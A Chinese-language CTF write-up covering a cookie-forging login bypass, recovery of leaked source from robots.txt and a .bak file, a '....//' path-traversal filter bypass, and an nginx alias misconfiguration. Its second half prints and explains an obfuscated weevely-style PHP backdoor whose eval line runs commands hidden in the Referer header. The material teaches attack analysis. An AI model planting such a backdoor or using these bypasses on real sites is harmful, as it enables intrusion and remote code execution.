开始只有登录界面
根据漏洞在于功能点的想法 随便尝试一下登录 任意账号密码
当然 你也可以上手一个万能密码
没有东西 说明这个地方不是突破口
已知信息不够了 需要信息搜集
F12是常见的方式 有些时候会在前端代码留个hint
但是这道题没有
信息搜集还有在robots.txt
确实存在
一个是hint 一个是hack
hint里面是提示(包括了路径)
配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf
hack提示请登录
那就说明有检测是否登录 看看cookie
有个参数isLogin=0
上手一个document.cookie=”isLogin=1”
成功进入
看到了很多链接 查看页面源代码
推测这个有点东西
发现需要登录 老样子先抓包看看检测了什么
一样的东西 看来是有重新赋值 再改一次
这个传参有点东西
可能是文件包含
尝试../ 半点反应都没有
没有思路
看看自己还有什么
想到自己之前 实际上在输入Hack.php 之前还输了个小写的
是个空白页面
看看有没有什么东西
中间浏览器个鬼 硬是让我访问到大写的 气死
试了个phps 和大写hack一样的界面
再来个.bak
下载了个东西
是个混淆 自己写个var_dump huozheecho在本地输出一下
再粘贴到新文件
经过我的修改是形如这样的东西
一脸懵
没有思路 总结一下 我现在有的东西
1.一个php文件 是个后门 但是经过混淆 这个后门应该怎么利用
2.有一个可能存在文件包含的网页
回到文件包含处
加入../没有变化
再加一个点
这个时候可以猜测 他是把../替换为空了
绕过方式就可以尝试…/./ 或者….//
当然如果有个循环检测这个方法就不行
但是这里可以
查看源代码会比较容易看
关键代码是
||| alias 用于给 localtion 指定的路径设置别名 , 在路径匹配时 , alias 会把 location 后面配置的路径丢弃掉 , 并把当前匹配到的目录指向到 alias 指定的目录 .
autoindex 是一个目录浏览功能 , 用于列出当前目录的所有文件及子目录
这里在 URL 访问 /web-img , 就会访问系统根目录下的 /images/
而如果在 URL 访问 /web-img../ , 则相当于访问 /images/../ , 即访问系统根目录 . 且由于开启了 autoindex , 我们可以直接在浏览器里看到根目录下的所有内容 |||||这一部分来自于https://www.guildhab.top/?p=1474 这个writeup真的很好 有原理 能看懂
这里就不是文件包含处访问路径 因为访问的不是文件 是路径
所以直接访问/web-img../
这个时候访问的是根目录
翻找了许久 有点东西的也就只有
不就是我之前弄出来的php后门吗
可以有 这个运气真的是
行
转战php后门 着实难 这玩意也没接触过 网上也只有这一个东西
https://phuker.github.io/weevely-backdoor-code-analysis.html
拿他的脚本进行修改
改kf kh url
本题模板改的地方截个图
其他的就不贴出来了毕竟不是自己的
还需要再学习php后门这个东西
之后再补知识点
ctf中信息搜集的常见方法
F12
robots.txt
phps
php.bak
做好信息搜集说不定可以让你快人一步 当然有时候就是意外用好了 就是机遇
文件包含
过滤有很多方法 有些是指定文件 或者过滤../ 关键还是见招拆招
这里就是因为他是直接../去掉 而不是.和/分开单独去掉
导致可以构造绕过
php后门
时隔15天 回来研究后门并写下记录
后门最简单的就是一句话木马 为了不被发现 所以有混淆
如之前解开有两步 混淆也有两步 简单一些的是第二步 也就是我们解开的第一步 添加一些混淆的盐值
一个是create function 为了防止被杀毒软件扫出来 加了几个b 混淆
一个是在语句中出现很多 )b
解决方法就是用如图的replace
这个混淆和RCE部分语句拼接实现绕过差不多
第二个混淆需要从理解后门需要什么开始
用一句话木马举例
首先要连接到目标服务器
找到木马文件
有交互点
输入恶意语句
所以这个后门应该包含交互点 即我们命令输入点
来看文件本身
函数 亦或 用来处理加解密
传参点 只有请求头部分 一个是访问者IP referer 一个是支持语言 language
图来自于https://phuker.github.io/weevely-backdoor-code-analysis.html 我也是看他文章慢慢理解的
一部分一部分拆开来
$u=parse_url($rr);
把url部分 拆成数组 键值分离
我们和下一句一起看
parse_str($u[“query”],$q);
这说明 我们取query部分 也就是传参部分 参照上图范例理解
来到这句话本身
parse_str 也就是把字符串当作数组元素给q 如下图
就是说传参部分 键值分离 相当于 8=phpinfo(); 把8和phpinfo拆开
上一句的是query 和 传参部分
这一句是传参部分本身分离
array_values 只保留值 即phpinfo(只是举个例子 实际值不是这个)
preg_match_all(“/([\w])[\w-]+(?:;q=0.([\d]))?,?/“,$ra,$m);
正则匹配 m是结果的承载者
匹配部分是 [\w] 字符 [\d]数字 ?表示前边字符的0次或1次重复
字符 字符 -(:;q=0.数字),
也就是按照,分割
这一部分不会的话就运行一次就好
$ra = ‘zh-CN,zh;q=0.8,en;q=0.6’;
$m = array (size=3)
0 =>
array (size=3)
0 => string ‘zh-CN,’ (length=6)
1 => string ‘zh;q=0.8,’ (length=9)
2 => string ‘en;q=0.6’ (length=8)
1 =>
array (size=3)
0 => string ‘z’ (length=1)
1 => string ‘z’ (length=1)
2 => string ‘e’ (length=1)
2 =>
array (size=3)
0 => string ‘’ (length=0)
1 => string ‘8’ (length=1)
2 => string ‘6’ (length=1)
@session_start();
$s=&$_SESSION;
$ss=”substr”;
$sl=”strtolower”;
$i=$m[1][0].$m[1][1]; 就是z z
$h=$sl($ss(md5($i.$kh),0,3)); MD5取三个 小写
$f=$sl($ss(md5($i.$kf),0,3)); MD5取三个 小写
$p=””;
for($z=1;$z<count($m[1]);$z++) 循环 count就是几个值 相当于二维数组 取了第二部分 每一个遍历 说明循坏三次
$p.=$q[$m[2][$z]]; 这里是去第三部分遍历 拼接
if(strpos($p,$h)===0){ $h 在 $p[0] 位置出现。
$s[$i]=””; 转换为空
$p=$ss($p,3);} $ss=”substr”; 去掉前面三个
if(array_key_exists($i,$s)){
就是在s里面有没有i
obstart();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array(“//“,”/-/“),array(“/“,”+”),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print(“<$k>$d</$k>”);
@session_destroy();
ob_start(); 打开缓冲区
gzuncompress 压缩
这样子可以得到后门payload
接下来可以是手动利用payload
更改referer url?payload
或者用上面推荐的那个人的交互程序
本质就是改referer
至于编写交互程序看个人编程能力就不讲解了
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
veek | 80.00 | 0 | 2021-02-05 10:10:14 | 感谢分享~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.